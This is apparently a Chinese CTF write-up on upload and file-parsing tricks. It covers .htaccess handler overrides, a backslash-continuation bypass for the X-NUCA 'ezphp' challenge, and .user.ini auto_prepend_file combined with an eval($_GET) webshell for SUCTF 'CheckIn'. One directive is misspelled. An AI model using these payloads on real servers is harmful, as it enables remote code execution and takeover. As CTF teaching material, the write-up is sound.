文件解析漏洞

htaccess

htaccess文件(分布式配置文件,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

  1. 设置初始页面

  2. 错误重定向&重定向

  3. 设置文件访问权限

    1
    2
    3
    4
    <Files 1.php>
    order allow,deny
    deny from all
    </Files>

开启htaccess

1
2
3
4
5
6
7
apache 配置文件里httpd.conf文件找到

 AllowOverride None改为AllowOverride All 

 LoadModule rewrite_module modules/mod_rewrite.so 把这个前面的“#”号去掉

 然后重启apache。

针对一些黑名单的限制,php文件无法上传或者无法被解析,

1
2
3
4
AppType    application/x-httpd-php     .jpg

将所有jpg文件解析未php文件
再结合一句话图片马就可以拿到shell

X-NUCA ezphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php 
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

文件只能传一个

开始一直500,差点放弃htaccess,后来发现可能是后面拼接的那个字符串不符合htaccess文件的编写规则,

使用反斜杠换行符将其和注释拼接在一起

最后面加一行

1
#fuck\

同样利用\绕过那些敏感字符,

1
2
3
<FilesMatch “a”> SetHandler application/x-httpd-php </FilesMatch>

加上反斜杠拼接就可以正常写入htaccess文件,并将我们传入的a文件解析为php

.user.ini

除了主php.ini之外,PHP还会在每个目录下扫描INI 文件,从被执行的PHP文件所在目录开始一直上升到 web 根目录

1
2
3
auto_prepend_file=12.jpg

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

SUCTF CheckIn

先上传一个图片文件,留下文件头

加上一句话木马

1
<script language="php">eval($_GET[h]);</script>

绕过了<?的限制

1570544831768

后上传.user.ini文件

1
auto_prepend_file=12.jpg

包含该文件

1570544854762

1
2
3
之后phpinfo测试可行

/uploads/f4e7685fe689f675c85caeefaedcf40c/index.php?h=phpinfo();

1570544947029

菜刀连接拿到flag

1570546074326

0%